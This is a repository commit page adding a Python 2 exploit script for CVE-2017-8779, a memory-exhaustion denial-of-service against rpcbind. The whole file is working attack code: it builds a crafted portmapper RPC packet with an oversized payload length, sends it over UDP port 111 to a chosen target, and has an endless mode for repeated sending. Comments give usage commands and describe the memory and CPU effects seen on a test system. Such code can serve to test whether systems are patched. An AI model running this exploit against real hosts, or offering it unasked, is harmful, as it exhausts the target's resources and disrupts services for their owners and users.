CVE-2017-8779
This commit is contained in:
83
CVE-2017-8779_rpcbomb.py
Executable file
83
CVE-2017-8779_rpcbomb.py
Executable file
@@ -0,0 +1,83 @@
|
|||||||
|
#!/usr/bin/env python2
|
||||||
|
#
|
||||||
|
# CVE-2017-8779 aka rpcbomb.py
|
||||||
|
# python implementation of rpcbomb
|
||||||
|
# find page of bug author here: https://guidovranken.wordpress.com/
|
||||||
|
# original ruby exploit: https://www.exploit-db.com/exploits/41974
|
||||||
|
# CVE https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8779
|
||||||
|
#
|
||||||
|
# this one comes with loop and single packet, to consume memory over time and not just once
|
||||||
|
#
|
||||||
|
# i was not able to observe any sort of crash or alike
|
||||||
|
# on the testsystem the cpu consumption went up to 50% (1 CPU)
|
||||||
|
# memory allocation was done
|
||||||
|
# syslogd reportedly mentions out of memory from rpcbind
|
||||||
|
# depending on the environment and service offered probably interesting
|
||||||
|
#
|
||||||
|
# one packet
|
||||||
|
# ./rpcbomb.py -t 127.0.0.1
|
||||||
|
#
|
||||||
|
# define memory allocation
|
||||||
|
# ./rpcbomb.py -t 127.0.0.1 -l 1024
|
||||||
|
#
|
||||||
|
# endless mode
|
||||||
|
# ./rpcbomb.py -t 127.0.0.1 -e
|
||||||
|
#
|
||||||
|
# 2nd June 2017
|
||||||
|
# by dash
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import struct
|
||||||
|
import socket
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
def run(args):
|
||||||
|
|
||||||
|
ip = args.ip
|
||||||
|
paylen = args.malloc
|
||||||
|
port = args.port
|
||||||
|
|
||||||
|
pkt = struct.pack('!I',0) # xid
|
||||||
|
pkt += struct.pack('!I',0) # message type CALL
|
||||||
|
pkt += struct.pack('!I',2) # RPC version 2
|
||||||
|
pkt += struct.pack('!I',100000) # Program
|
||||||
|
pkt += struct.pack('!I',4) # Program version
|
||||||
|
pkt += struct.pack('!I',9) # Procedure
|
||||||
|
pkt += struct.pack('!I',0) # Creds AUTH_NULL
|
||||||
|
pkt += struct.pack('!I',0) # Creds len 0
|
||||||
|
pkt += struct.pack('!I',0) # Creds AUTH_NULL
|
||||||
|
pkt += struct.pack('!I',0) # Creds len 0
|
||||||
|
pkt += struct.pack('!I',0) # Program: 0
|
||||||
|
pkt += struct.pack('!I',0) # Ver
|
||||||
|
pkt += struct.pack('!I',4) # Proc
|
||||||
|
pkt += struct.pack('!I',4) # Argument length
|
||||||
|
pkt += struct.pack('!I',paylen) # Payloadlen
|
||||||
|
|
||||||
|
while 1:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.sendto(pkt, (ip, port))
|
||||||
|
data, addr = s.recvfrom(16384)
|
||||||
|
print '.',
|
||||||
|
sys.stdout.flush()
|
||||||
|
if not args.endless:
|
||||||
|
break
|
||||||
|
|
||||||
|
print
|
||||||
|
print 'Done'
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser_desc = 'rpcbomb - python exploit by dash'
|
||||||
|
prog_desc = 'portbind memory exhaustion exploit'
|
||||||
|
parser = argparse.ArgumentParser(prog = prog_desc, description=parser_desc)
|
||||||
|
parser.add_argument("-t","--target",action="store",required=True,help='host to send exploit',dest='ip')
|
||||||
|
parser.add_argument("-p","--port",action="store",required=False,help='port exploit to send to',dest='port', default=111, type=int)
|
||||||
|
parser.add_argument("-l","--len",action="store",required=False,help='memory to allocate',dest='malloc',default=4294967295, type=int)
|
||||||
|
parser.add_argument("-e","--endless",action="store_true",required=False,help='send packets constantly',dest='endless')
|
||||||
|
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
run(args)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
Reference in New Issue
Block a user